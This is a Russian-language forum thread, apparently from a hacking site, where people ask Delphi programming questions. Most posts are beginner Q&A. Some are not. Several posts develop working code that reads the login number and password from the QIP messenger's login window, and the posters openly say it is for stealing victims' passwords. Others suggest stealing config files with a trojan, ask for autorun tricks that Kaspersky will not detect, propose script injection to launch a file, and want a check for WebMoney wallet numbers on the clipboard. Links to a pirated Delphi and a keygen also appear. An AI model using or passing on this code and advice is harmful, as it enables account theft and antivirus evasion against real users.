iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
// Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);
// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
// Дальше все по аналогии с UIN'ом
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
pPass=(char*)LocalAlloc(0, iPass);
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);
//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;
// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}
И ещё, если не сложно подскажите как отследить на делфи, если в буфер обмена только что вставили WM кошелёк??? То есть первая буква Z, а дальше 12 цифр.
И ещё, если не сложно подскажите как отследить на делфи, если в буфер обмена только что вставили WM кошелёк??? То есть первая буква Z, а дальше 12 цифр.
//возвратит true если в строке WMZ находиться кошелек,false в обратном случае.
function IsShekel(s:string):boolean;
var i :byte;
begin
result:=false;
if Length(s)<> 13 then exit; //åñëè ñòðîêà íåðàâíà 13 //ñèìâîëàì "Z123456789000" òîãäà ýòî íå êîøåëåê.
if UpperCase(Copy(s,1,1))<>'Z' then exit;
for i:=2 to 13 do
begin
if not (s[i] in ['0'..'9']) then exit;
end;
result:=true;
end;
De-visible
25.04.2008, 09:31
я ещё ничего неумею в delphi но хотелбы научиться вот книги у меня есть для обучения но вот я никак немогу найти программу для того чтобы писать на delphi пожалуста выложите куданить или скажите чем вы пользуетесь и что лучше для начнающего программера,спасибо зарание.
ЛОЛ.
Тебе нужен сам DELPHI. Не раз обсуждалось!
Ну раз новичок то вот:
_http://www.softportal.com/software-2506-delphi-world-pro.html
_https://forum.antichat.ru/thread39750.html
ToniKapuchon
25.04.2008, 14:05
нужно из 100 чисел рандомом выбрать 25!! Но сделать ето так что бы среди 25 чисел не было повторяющихся!! как реализовать проверку, подскажите плз!
Делай, к примеру, два массива размером 100 и 25 попугаев. Получаешь рандомно индекс из первого массива, берешь число, проверяешь его на наличие во втором массиве. Если числа там нет, помещаешь, если же есть - идешь дальше
m9chik
Как это не странно, но тебе надо скачать программу delphi, например отсюда:
http://rapidshare.com/files/14013555/Delphi7-Cky4k.part1.rar
http://rapidshare.com/files/14015291/Delphi7-Cky4k.part2.rar
Кейген на Делфи 7 тут:
http://ifolder.ru/3615544
Других вариантов просто нет, если только другие версии.
http://www.delphilab.ru/content/view/87/75/- всевозможные версии, а вообще можешь поискать сам программа называется Borland Delphi
Randomize;
For i:=0 to 24 do
Begin
X:=random(99-i);
B[i]:=a[x];
A[x]:=a[99-i];
End;
Где а - массив со 100 числами, b - 25 которые нужно получить, i,x - целые числа.
Flame of Soul
26.04.2008, 17:01
Язык: "Delphi"
Версия: "7"
/*
Как сделать так чтобы по нажатию 'Button' программа автоматически определяла
путь до самой себя и присваивала его 'Label1.Caption'.
*/
Label1.Caption := Application.ExeName;
Вот еще один способ:
Label1.Caption:=paramstr(0);
Кто нибудь может этот код из С++ перегнать на делфи???
void main()
{
// Объявим переменные, необходимые для работы
HWND hManForm,hGroupBox,hEdit,hComboBox; // Идентификаторы форм
char* pUIN; // Указатель на буфер для UIN
char* pPass; // Указатель на буфер для пароля
int iUIN; // Длина UIN
int iPass; // Длина пароля
// Найдем окно диалога авторизации
hManForm=FindWindow("TManForm",0);
// Расположенная на нем группа элементов управления
hGroupBox=FindWindowEx(hManForm,0,"TGroupBox",0);
// Список с UIN'ами
hComboBox=FindWindowEx(hGroupBox,0,"TComboBox",0);
// Получим длину текста в списке
iUIN=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0)+1;
// Выделяем необходимую память для буфера
pUIN=(char*)LocalAlloc(0, iUIN);
// Получим непосредственно текст
SendMessage(hComboBox, WM_GETTEXT, iUIN, (long)pUIN);
// Поле с паролем
hEdit=FindWindowEx(hGroupBox,0,"TEdit",0);
// Дальше все по аналогии с UIN'ом
iPass=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0)+1;
pPass=(char*)LocalAlloc(0, iPass);
SendMessage(hEdit, WM_GETTEXT, iPass, (long)pPass);
//Выведем что получилось
cout << "[!!!]Found for: "<< pUIN << "\tPassword: " << pPass;
// Освободим память
LocalFree(pUIN);
LocalFree(pPass);
}
И ещё, если не сложно подскажите как отследить на делфи, если в буфер обмена только что вставили WM кошелёк??? То есть первая буква Z, а дальше 12 цифр.
var
hManForm,hGroupBox,hEdit,hComboBox:HWND;
pUin:String;
pPass:String;
iUin:integer;
iPass:integer;
begin
hManForm:= findwindow(nil, 'TManForm');
if hManForm <> 0 then
begin
hGroupBox:=FindWindowEx(hManForm,0,'TGroupBox',nil );
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',ni l);
iUIN:=SendMessage(hComboBox, WM_GETTEXTLENGTH, 0, 0);
if (iUin>0) then
begin
iUin:=iUin+1;
setlength(pUin, iUin);
sendmessage(hComboBox, wm_gettext, iUin, longint(@pUin[1]));
end;
hEdit:=FindWindowEx(hGroupBox,0,'TEdit',nil);
iPass:=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0);
if (iPass>0) then
begin
iPass:=iPass+1;
setlength(pPass, iPass);
sendmessage(hEdit, wm_gettext, iPass, longint(@pPass[1]));
end;
end;
end;
Держи, тут же ничего сложного нет все на чистом WinAPI, вроде в коде ошибок нету, но на работос пособность не проверял(насколько он выполняет свои функции, т.к. незнаю для какой проги ты пишеш, но тут все предельно ясно просто если, что поменяеш названия элементов и окна). Конечный результат заносится в буфер, а че с ним делать решать тебе, толи пихнуть в файл толи вывести сообщение, это уже сам, если что пиши. ;)
Nightmarе
26.04.2008, 23:34
Держи, тут же ничего сложного нет все на чистом WinAPI, вроде в коде ошибок нету, но на работос пособность не проверял(насколько он выполняет свои функции, т.к. незнаю для какой проги ты пишеш, но тут все предельно ясно просто если, что поменяеш названия элементов и окна). Конечный результат заносится в буфер, а че с ним делать решать тебе, толи пихнуть в файл толи вывести сообщение, это уже сам, если что пиши. ;)
Большое спасибо, тут лишний пробел:
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',ni l);
В общем скомпилировал, значит так я понял pPass это пароль в итоге pUin это номер.
Скомпилировал, запускаю квип, потом скомпилированную прогу, в буффере пусто.
pUin и pPass в итоге оказываются пустыми... что не так?
Смысл этого кода в том, что он получает пароль из квипа всех версий включая 8050 но не инфирум, но всё равно не пашет...
В соседней теме уже выложили прогу тырющяя пароли по этому алгоритму...
De-visible
26.04.2008, 23:42
Большое спасибо, тут лишний пробел:
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',ni l);
В общем скомпилировал, значит так я понял pPass это пароль в итоге pUin это номер.
Скомпилировал, запускаю квип, потом скомпилированную прогу, в буффере пусто.
pUin и pPass в итоге оказываются пустыми... что не так?
Смысл этого кода в том, что он получает пароль из квипа всех версий включая 8050 но не инфирум, но всё равно не пашет...
В соседней теме уже выложили прогу тырющяя пароли по этому алгоритму...
Лишний пробел вроде вставляется форумом:)
Ну ты сначало возьми определи название окна и всех элементов, можеш использовать для этого прогу которая идет с Vs или есть еще такая же штука в автоите, определяеш все нужные элементы и пихаеш в этот код, а для получения кажись пароля придется еще писать функцию, которая прочитает пасс под звездочками.
А не проще конфиг у потенциальной жертвы слямзить, а пароль расшифровать потом, какойнить утилитой, имхо намного проще притом за компанию можно уволоч и историю, тут даж гдето пример валялся такого троя, только крал он только историю, но там модифицировать для кражи конфиг файла, делов пары минут.
Nightmarе
26.04.2008, 23:50
Ну ты сначало возьми определи название окна и всех элементов, можеш использовать для этого прогу которая идет с Vs или есть еще такая же штука в автоите, определяеш все нужные элементы и пихаеш в этот код, а для получения кажись пароля придется еще писать функцию, которая прочитает пасс под звездочками.
А не проще конфиг у потенциальной жертвы слямзить, а пароль расшифровать потом, какойнить утилитой, имхо намного проще притом за компанию можно уволоч и историю, тут даж гдето пример валялся такого троя, только крал он только историю, но там модифицировать для кражи конфиг файла, делов пары минут.
Суть этого кода в том, что жертва НЕ сохраняет пароль вообще, он лежит в открытом виде в этих полях.
var
hManForm,hGroupBox,hEdit,hComboBox, hEdit1:HWND;
pUin:String;
pPass:String;
iUin:integer;
iPass:integer;
begin
hManForm:=FindWindow('TManForm',nil);
if hManForm <> 0 then
begin
hGroupBox:=FindWindowEx(hManForm,0,'TGroupBox',nil );
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',ni l);
hEdit1:=FindWindowEx(hComboBox,0,'Edit',nil);
iUIN:=SendMessage(hEdit1, WM_GETTEXTLENGTH, 0, 0);
if (iUin>0) then
begin
iUin:=iUin+1;
setlength(pUin, iUin);
sendmessage(hEdit1, wm_gettext, iUin, longint(@pUin[1]));
Label1.Caption:=pUin;
end;
hEdit:=FindWindowEx(hGroupBox,0,'TEdit',nil);
iPass:=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0);
if (iPass>0) then
begin
iPass:=iPass+1;
setlength(pPass, iPass);
sendmessage(hEdit, wm_gettext, iPass, longint(@pPass[1]));
Label2.Caption:=pPass;
end;
end;
end;
На вот, этот код 100% рабочий, проверял!!! ;) Там кароч в комбобоксе запрятан едит, да и я ошибочку в начале маленькую допустил, терь усе поправил. ;) С тебя пол литра ;)
зы этот код читает пасс только в ткрытом виде!!!
скажите а возможноли установив в событии onClick к примеру у 3 компонентов Tedit такую процедуру procedure TForm1.Clickmyedit(Sender: TObject);
узнать из Sender какой именно из 3-х Edit'ов вызвал её???
спасибо но google рулит....)))))) кому надо выкладываю:
procedure TForm1.Clickmyedit(Sender: TObject);
begin
(Sender as TEdit).color:=clred;
end;
полный пример: _http://www.delphisources.ru/pages/faq/base/use_sender.html
так же для Tbutton и др. классов))) после точки все тоже что и edit1. )))))
даже 5 минут не прошло сразу нашел)))))
Как назначить один обработчик двум событиям? Например, мне нужно, чтобы в компонент TMemo попадало то, что введет пользователь в TEdit, но не только по нажатию кнопки, а и по нажатию клавиши Enter.
------------
И еще. Почему конструкция case не работает для строки? Например:
var
MyString: String;
begin
case MyString of
'привет': блок кода 1;
'пока': блок кода 2;
end;
end;
De-visible
27.04.2008, 15:49
Как назначить один обработчик двум событиям? Например, мне нужно, чтобы в компонент TMemo попадало то, что введет пользователь в TEdit, но не только по нажатию кнопки, а и по нажатию клавиши Enter.
------------
И еще. Почему конструкция case не работает для строки? Например:
var
MyString: String;
begin
case MyString of
'привет': блок кода 1;
'пока': блок кода 2;
end;
end;
'привет': блок кода 1;
Такая запись неверна,(case не работает со строками) Здесь оператор If тебе в помощь:)
так:
procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key= vk_return then
//Твой код:)
end;
??
Эмуляция нажатия enter
http://articles.org.ru/cfaq/index.php?qid=2112&frommostrecent=yes
И еще. Почему конструкция case не работает для строки? Например:
Вот тебе про этот оператор и пример и пояснение:
http://www.delphisources.ru/pages/faq/faq_delphi_basics/Case.php.html
De-visible:ответ уже дали:)
так:
procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key= vk_return then
//Твой код:)
end;
??
Как-то оно не совсем так :-). Только что попробовал, действительно, если я нажму Enter, строка попадет в TMemo. Но после нажатия любой клавиши строка тоже будет выводится
Эмуляция нажатия enter
http://articles.org.ru/cfaq/index.php?qid=2112&frommostrecent=yes
Мало что с этого понял.
Как же назначить один обработчик двум событиям?
De-visible
27.04.2008, 17:12
А так:
procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
//Отлавливаем нажатие Enter
if key = #13 then button1.click;
end;
end;
А в button1.click впиши необходимые действи....
Как-то оно не совсем так :-). Только что попробовал, действительно, если я нажму Enter, строка попадет в TMemo. Но после нажатия любой клавиши строка тоже будет выводится
Да неможет быть, должно все работать, покажи свой код, что ты там намутил.
А так:
procedure TForm1.Edit1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
//Отлавливаем нажатие Enter
if key = #13 then button1.click;
end;
end;
А в button1.click впиши необходимые действи....
Выдает ошибку: "Incompatible types"
button1.click - разве здесь нужна точка?
Если нет, то выдает еще одну ошибку: "Not enough actual parameters"
И если мы вызываем процедуру, разве не нужно ставить скобки "()" после ее названия?
key = #13 - почему здесь написано "=", а не ":="
Как-то оно не совсем так :-). Только что попробовал, действительно, если я нажму Enter, строка попадет в TMemo. Но после нажатия любой клавиши строка тоже будет выводится
Да неможет быть, должно все работать, покажи свой код, что ты там намутил.
Извините. Действительно работает.
Выдает ошибку: "Incompatible types"
button1.click - разве здесь нужна точка?
Если нет, то выдает еще одну ошибку: "Not enough actual parameters"
И если мы вызываем функцию, разве не нужно ставить скобки "()" после ее названия?
key = #13 - почему здесь написано "=", а не ":="
Извините. Действительно работает.
":=" - значит присвоить.
"=" - логический оператор.
да, там нужна точка, т.к. click, это метод обьекта Button1.
Вот я читаю строчку
if key:=#13 then ...
если присвоить кею - #13 то
if key = #13 then ...
если кей равен 13 то
Чувствуешь разницу?? ЗЫ Первая неправильная.
":=" - значит присвоить.
"=" - логический оператор.
Вот я читаю строчку
if key:=#13 then ...
если присвоить кею - #13 то
if key = #13 then ...
если кей равен 13 то
Чувствуешь разницу?? ЗЫ Первая неправильная.
Да, спасибо.
да, там нужна точка, т.к. click, это метод обьекта Button1
Но нам ведь нужно вызвать процедуру Button1Click :-\ ? Или я что-то не так понял?
Код у меня не работает.
Спасибо, работает.
Только не совсем понятно, зачем здесь >>> button1.click точка?
Мы же должны просто вызвать процедуру, с названием Button1Click
Мда, ты набери ручками Batton1 поставь точку и посмотри, что стоит чуть левее слова Click!!! Это и есть процедура, т.е. ты как бы программно кликнеш по кнопке!!!
De-visible
27.04.2008, 20:09
http://www.valar.ru/gallery/0408/1209311425_12.png
Вот взгляни:)
Спасибо, работает.
Только не совсем понятно, зачем здесь >>> button1.click точка?
Я тебе объяснял что баттн, это обьект и работа с обьектом осуществляется через "."
Процедура называется Button1Click.
Почему для ее вызова не достаточно просто написать "Button1Click();"?
И вообще, выходит какое-то раздвоение. У button1 есть процедура Click. И у button1 есть нами созданная процедура Button1Click. И делают они одно и тоже. Только первая принадлежит кнопке, а вторая - форме (button1.click ,TMainForm.ButtonClick). Когда мы вызываем процедуру Click вызывается Button1Click... Короче, я запутался.
Metall лучшеб ты с pascal'я начал....
Возможно. Но я уже почти год изучаю С++, только под консоль. Решил еще изучать Делфи, чтобы делать оконные приложения. Не могу к синтаксису только привыкнуть.
Процедура называется Button1Click.
Почему для ее вызова не достаточно просто написать "Button1Click();"?
И вообще, выходит какое-то раздвоение. У button1 есть процедура Click. И у button1 есть нами созданная процедура Button1Click. И делают они одно и тоже. Только первая принадлежит кнопке, а вторая - форме (button1.click ,TMainForm.ButtonClick). Когда мы вызываем процедуру Click вызывается Button1Click... Короче, я запутался.
Button1.Click - дает сигнал чтоб выполнился Button1Click.
ЗЫ Тебе бы стоило выучить матчасть =(
Button1.Click - дает сигнал чтоб выполнился Button1Click.
ЗЫ Тебе бы стоило выучить матчасть =(
Спасибо, только что понял. Мы как бы програмно нажымаем кнопку =)
Смысл лезть в ООП, если ты не знаешь как с объектами класса обращаться.
Совет: не поленись выучить сначала паскаль (300 страниц книги - тысячи вопросов отпали(по себе знаю))
Паскаль я изучать не буду. ИМХО - не имеет смысла. А в плане ООП ты прав, я его практически не знаю. Только теорию. В моих книгах по Delphi ООП рассматривается только в самом конце. Если я буду его изучать, то, скорее всего сначала в C++. Я пока что знаю его лучше Делфи.
Паскаль я изучать не буду
А делфи, это тот же паскаль, все основано на нем, так что как не крути не верти, всеравно ты его учиш!!!
А делфи, это тот же паскаль, все основано на нем, так что как не крути не верти, всеравно ты его учиш!!!Может я неправильно выразился. Я учу Object Pascal и среду разработки - Delphi. А тот Паскаль, который 7.0, я изучать не буду. У них только синтаксис похож.
Лан кароч, закончим дискуссию, учи то что считаеш нужным, мы тебе только совет дали!!!
Я вот задам какой вопрос:
Ктонить знает скрытые методы автозагрузки, которые не палит антивирь(каспер), может какието скрытые методы добавления, ключа в реестр, или как незаметно включить загрузку с винтов (файл autorun.inf), если кто знает такие методы, то пусть хоть если не покажет как(это врядли ;( ) то хоть намекнет где об этом почитать можно или в какую сторону копать?
Лан кароч, закончим дискуссию, учи то что считаеш нужным, мы тебе только совет дали!!!
Я вот задам какой вопрос:
Ктонить знает скрытые методы автозагрузки, которые не палит антивирь(каспер), может какието скрытые методы добавления, ключа в реестр, или как незаметно включить загрузку с винтов (файл autorun.inf), если кто знает такие методы, то пусть хоть если не покажет как(это врядли ;( ) то хоть намекнет где об этом почитать можно или в какую сторону копать?
можно например в home страничку, добавить js скрипт, который будет выполнять твой файл, но это будет действовать только тогда, когда жертва откроет браузер.
С другими способами, по понятной причине, поделится не могу =(.
js скрипт в студию ;)
Ну про др. способы, хоть намекни в какую сторону копать, а то только эта автозагрузка и портит всю малину, хотябы направление, а то уже запарилсо.
Dr.KoD, держы статью Криса Касперски: http://www.xakep.ru/magazine/xa/104/040/1.asp
Спасиб конечно, но это я уже читал и не только это, мы ведь неможем знать насколько часто конкретный юзерь пользуется той или иной прогой, и какой конкретно софт у него установлен(не берем в расмотрение конкретно для 1 юзера, т.к. впарить 1-му куда проще чем впарить 100 юзверам, т.к. можно многое узнать о его системе).
Да и модифицировать реестр такие ативирусы как каспер непозволяют.
Лан если нету никаких предложений буду копаться в системных файлах.
У меня еще вопрос. Как называется функция, которая ищет заданную подстроку в строке и если находит, возвращает True?
У меня еще вопрос. Как называется функция, которая ищет заданную подстроку в строке и если находит, возвращает True?
POS(подстрока,строка) , только возвращает она позиция первого символа подстроки в строке.
Но впринципе можно сделать так
function isin(podstroka,stroka:string):boolean;
begin
if pos(podstroka,stroka)=0 then isin:=false else isin:=true;
end;
И снова вопрос. Я кидаю на форму компонент TMemo и TEdit. Пользователь что-то вводит в TEdit и по нажатию кнопки оно попадает в TMemo. Но пользователь может спокойно стать курсором в TMemo и что-то там писать и удалять. Мне нужно заблокировать такой свободный доступ к TMemo. Как это сделать?
Свойство ReadOnly у компонента TMemo установи в True
И снова вопрос. Я кидаю на форму компонент TMemo и TEdit. Пользователь что-то вводит в TEdit и по нажатию кнопки оно попадает в TMemo. Но пользователь может спокойно стать курсором в TMemo и что-то там писать и удалять. Мне нужно заблокировать такой свободный доступ к TMemo. Как это сделать?
Memo1.Enabled:=False;
Если не так, то объясни еще раз суть вопроса, т.к. не понял до конца все.
Спасибо, все почти так. Я меняю свойство Enabled в разделе Action на False и меняю Свойств ReadOnly на True. Но появилась проблемка. Если изменить первое свойство, то текст будет, выводится серым цветом. И даже если в разделе font изменить цвет выводимого текста, то он все равно будет выводиться серым. Как исправить проблему?
Спасибо, все почти так. Я меняю свойство Enabled в разделе Action на False и меняю Свойств ReadOnly на True. Но появилась проблемка. Если изменить первое свойство, то текст будет, выводится серым цветом. И даже если в разделе font изменить цвет выводимого текста, то он все равно будет выводиться серым. Как исправить проблему?
Значит юзай только Memo1.Readonly:=True;
Ну, до этого я и сам догадался. Но желательно, чтобы пользователь вообще не мог ставить курсор в поле TMemo...
function isin(podstroka,stroka:string):boolean;
begin
if pos(podstroka,stroka)=0 then isin:=false else isin:=true;
end;
а типа
isin := pos(podstroka, stroka) = 0 - не труЪ? :)
-------------------------------------------------------------
Ну, до этого я и сам догадался. Но желательно, чтобы пользователь вообще не мог ставить курсор в поле TMemo...
Memo1.Enabled := false;
Memo1.Enabled := false;
Мне это уже объяснили. Процитирую сам себя :)
Спасибо, все почти так. Я меняю свойство Enabled в разделе Action на False и меняю Свойств ReadOnly на True. Но появилась проблемка. Если изменить первое свойство, то текст будет, выводится серым цветом. И даже если в разделе font изменить цвет выводимого текста, то он все равно будет выводиться серым. Как исправить проблему?
Если не ошибаюсь, то присваивая Memo1.Active - False, то нельзя ничего менять, в т.ч. и цвет фонта.
Мне это уже объяснили. Процитирую сам себя :)
Вариант:
создаёшь где-нибудь Edit невидимый, и делаешь в Memo.OnFocus: EditX.SetFocus - покопай вокруг этого
Еще вопрос. У меня на форме компонент TMemo и TEdit. Пользователь что-то вводит в TEdit и по нажатию Enter'а оно попадает в TMemo. Но при этом издается звук из колонок. Это немного раздражает. Как сделать, чтобы звук не издавался (вариант с отключением колонок не предлагайте :-)
Еще вопрос. У меня на форме компонент TMemo и TEdit. Пользователь что-то вводит в TEdit и по нажатию Enter'а оно попадает в TMemo. Но при этом издается звук из колонок. Это немного раздражает. Как сделать, чтобы звук не издавался (вариант с отключением колонок не предлагайте :-)
uses
MMSystem;
function SetWaveVolume(const AVolume: DWORD): Boolean;
var
WaveOutCaps: TWAVEOUTCAPS;
begin
Result := False;
if WaveOutGetDevCaps(WAVE_MAPPER, @WaveOutCaps, SizeOf(WaveOutCaps)) = MMSYSERR_NOERROR then
if WaveOutCaps.dwSupport and WAVECAPS_VOLUME = WAVECAPS_VOLUME then
Result := WaveOutSetVolume(WAVE_MAPPER, AVolume) = MMSYSERR_NOERROR;
end;
При форм create может сделать SetWaveVolume(0); и при закрытии формы, SetWaveVolume(100);?
Еще вопрос. У меня на форме компонент TMemo и TEdit. Пользователь что-то вводит в TEdit и по нажатию Enter'а оно попадает в TMemo. Но при этом издается звук из колонок. Это немного раздражает. Как сделать, чтобы звук не издавался (вариант с отключением колонок не предлагайте :-)
Какой такой звук?
А если в Edit1.onKeyDown прописать какой-нть
if key = VK_RETURN then Memo1.SetFocus?
Не совсем понятно как работает код, предлагаемый вами, т. к. мои знания Delphi пока минимальны. Но все равно спасибо.
Какой такой звук?
А если в Edit1.onKeyDown прописать какой-нть
if key = VK_RETURN then Memo1.SetFocus?
Выдает ошибку: Cannot focus a disabled or invisible window
А что к тебя invisible или disabled?
Не совсем понятно как работает код, предлагаемый вами, т. к. мои знания Delphi пока минимальны. Но все равно спасибо.
Выдает ошибку: Cannot focus a disabled or invisible window
Так не пойдет, нельзя поставить курсор, на неактивный компонент.
Nightmarе
28.04.2008, 19:35
Нужен код на делфи который парсит текстовый файл, и выводит содержимое в memo.
Смысл такой, надо проверить в текстовом файле каждую линию есть ли там http:// и нету ли там none.ru и вывести уже отфильтрованный текст всех линий в memo, с меня как и полагается плюсы!!!
qPhoenix
28.04.2008, 20:03
2Nightmarе
procedure TForm1.Button1Click(Sender: TObject);
var fil:textfile;
s:string;
begin
assignfile(fil,'file.txt');
reset(fil);
repeat
readln(fil,s);
if (pos('http://',s)<>0) and (pos('none.ru',s)=0) then Memo1.Lines.Add(s);
until eof(fil);
closefile(fil);
end;
']Глупый вопрос, но оченб важный для меня, как мне сделать что бы после запуска программы в начале открывалось окно PasswordDlg, а после того как будет введён правельный пасс откроется Form1, а PasswordDlg закроется!
А вот код который в PasswordDlg :
procedure TPasswordDlg.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
const p='1'; //Password
begin
if Password.Text = p then CanClose:=true
else Application.Terminate;
залей куданить весь проект, я быстро сделаю и верну.
De-visible
28.04.2008, 23:40
']Глупый вопрос, но оченб важный для меня, как мне сделать что бы после запуска программы в начале открывалось окно PasswordDlg, а после того как будет введён правельный пасс откроется Form1, а PasswordDlg закроется!
А вот код который в PasswordDlg :
procedure TPasswordDlg.FormCloseQuery(Sender: TObject;
var CanClose: Boolean);
const p='1'; //Password
begin
if Password.Text = p then CanClose:=true
else Application.Terminate;
if Password.Text = p then
Begin
Form1.Show;
PasswordDlg.Hide;\\Так должно быть!
End
else
ShowMessage('Пароль неверный !');
']z01b , вот залил проект:
De-visible, пасиб за помощь, но там какие то ошибки вылетают!
http://slil.ru/25741155
']Оо, спс, а можешь перезалить куда нить, просто со слила вообще не качает!
http://webfile.ru/1911111
ЗЫ Красивый номер файла =)
']А можешь ещё объяснить почему в твоём коде в начале открывается PasswordDlg, вроде я также делал!
Project->Options->Auto-create forms, поменял местами, т.е. сначала создается PasswordDlg и потом Form1. + Main form - поставил PasswordDlg.
Стыдно просить(( но посоветуйте компонент для скачивания страницы,чтобы был timeout на подключение к серверу и выдавал размер файла в начале или в процессе получения :) idhttp бажный походу ((
Wininet гавно хуже некуда :mad:
WinSock ниче,но зае%ся с 302 и 301 ошибками.
Стыдно просить(( но посоветуйте компонент для скачивания страницы,чтобы был timeout на подключение к серверу и выдавал размер файла в начале или в процессе получения :)
что-нть типа:
function DownloadFile(const Url: string): string;
var
NetHandle: HINTERNET;
UrlHandle: HINTERNET;
Buffer: array[0..1024] of char;
BytesRead: cardinal;
begin
Result := '';
NetHandle := InternetOpen('Delphi 7.x', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if Assigned(NetHandle) then
begin
UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
if Assigned(UrlHandle) then
{ UrlHandle правильный? Начинаем загрузку }
begin
FillChar(Buffer, SizeOf(Buffer), 0);
repeat
Result := Result + Buffer;
FillChar(Buffer, SizeOf(Buffer), 0);
InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
until BytesRead = 0;
InternetCloseHandle(UrlHandle);
end
else
begin
{ UrlHandle неправильный. Генерируем исключительную ситуацию. }
raise Exception.CreateFmt('Cannot open URL %s', [Url]);
end;
InternetCloseHandle(NetHandle);
end
else
{ NetHandle недопустимый. Генерируем исключительную ситуацию }
raise Exception.Create('Unable to initialize Wininet');
end;
В процессе размер в BytesRead..
Конечно, не совсем то, но всё же...
PS И не такое уж и гавно wininet :) А с сокетами работать надо ОсТоРоЖнО :)
что-нть типа:
function DownloadFile(const Url: string): string;
var
NetHandle: HINTERNET;
UrlHandle: HINTERNET;
Buffer: array[0..1024] of char;
BytesRead: cardinal;
begin
Result := '';
NetHandle := InternetOpen('Delphi 7.x', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if Assigned(NetHandle) then
begin
UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
if Assigned(UrlHandle) then
{ UrlHandle правильный? Начинаем загрузку }
begin
FillChar(Buffer, SizeOf(Buffer), 0);
repeat
Result := Result + Buffer;
FillChar(Buffer, SizeOf(Buffer), 0);
InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
until BytesRead = 0;
InternetCloseHandle(UrlHandle);
end
else
begin
{ UrlHandle неправильный. Генерируем исключительную ситуацию. }
raise Exception.CreateFmt('Cannot open URL %s', [Url]);
end;
InternetCloseHandle(NetHandle);
end
else
{ NetHandle недопустимый. Генерируем исключительную ситуацию }
raise Exception.Create('Unable to initialize Wininet');
end;
В процессе размер в BytesRead..
Конечно, не совсем то, но всё же...
PS И не такое уж и гавно wininet :) А с сокетами работать надо ОсТоРоЖнО :)
У меня тоже самое уже есть раза 3 на wininet и 2 на winsock'e,кстати флаг надо ставить чтобы не писал в кеш! Просто надоело подгонять winsock под ответы серверов и коды типо 302 moved here and e.t.c думаю,надо просто сесть и написать это норм а не страдать хней с wininet'ом ;)
UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil,
ВОт тут то и пауза если сервак не пашет,думаю надо все делать через потоки т.к установить таймаут для коннекта мне не удалось.
Доброго времени суток. есть вопросик.
наведите пожалуйста пример написания функции на делфи, которая запускает программу или файл с помощью другой программы.
на С++ я себе представил это так
spawnl (P_WAIT,"c:\\windows\\notepad.exe","","input.txt",NULL) ;
нужно сделать тож самое только на Делфи.
Заранее спасибо.
De-visible
29.04.2008, 23:01
Вот подробно:
Функция ShellExecute
ShellExecute( hwnd: THandle, // указатель на родительское окно
lpOperation: PChar, //выполняемая операция
lpFile: PChar, // файл или папка
lpParameters: PСhar, //строка параметров запускаемой программы
lpDirectory: PChar, // директория по умолчанию
nShowCmd: integer // состояние окна запущенной программы
);
hwnd
Определяет родительское окно, которое будет получать сообщения от запускаемого приложения (например, об ошибке при запуске).
lpOperation
Определяет выполняемую оперерацию.
"open" - открывает файл lpFile. Файл может быть документом, приложением или папкой.
"print" - печатает файл lpFile. Файл должен быть документом. Если передано приложение, то выполняются действия, аналогичные "open".
"explore" - открывает папку lpFile в проводнике Windows.
nil - аналогично "open".
lpFile
Файл или папка. Функция может открыть или напечатать файл, открыть папку, запустить приложение.
lpParameters
Если lpFile - приложение, то lpParametrs может содержать строку параметров приложения.
Если lpFile - документ или папка, lpParameters должен быть nil.
nShowCmd
Определяет как должно выглядеть окно запущенного приложения
Пример использования:
ShellExecute(hInstance,"open","Программа",
"Файл", NULL, SW_SHOWNORMAL);
Доброго времени суток. есть вопросик.
наведите пожалуйста пример написания функции на делфи, которая запускает программу или файл с помощью другой программы.
на С++ я себе представил это так
spawnl (P_WAIT,"c:\\windows\\notepad.exe","","input.txt",NULL) ;
нужно сделать тож самое только на Делфи.
Заранее спасибо.
Может просто добавить к notepad-у аргумент (место файла). Вот например так WinExec('c:\\windows\\notepad.exe c:\\input.txt',SW_SHOW);
ЗЫ Если программа считывает аргументы при старте, то будет открывать как тебе нужно, иначе она просто откроется, как без аргумента.
Может просто добавить к notepad-у аргумент (место файла). Вот например так WinExec('c:\\windows\\notepad.exe c:\\input.txt',SW_SHOW);
ЗЫ Если программа считывает аргументы при старте, то будет открывать как тебе нужно, иначе она просто откроется, как без аргумента.
Micro$oft не рекомендует пользоваться функцией winexec, она оставлена только для совместимости с 9x
ShellExecute - что-то похожее
Ни ту, ни другую функцию заставить работать нормально и правильно лично мне не удалось.
Посему использую CreateProcess.
Micro$oft не рекомендует пользоваться функцией winexec, она оставлена только для совместимости с 9x
ShellExecute - что-то похожее
Ни ту, ни другую функцию заставить работать нормально и правильно лично мне не удалось.
Посему использую CreateProcess.
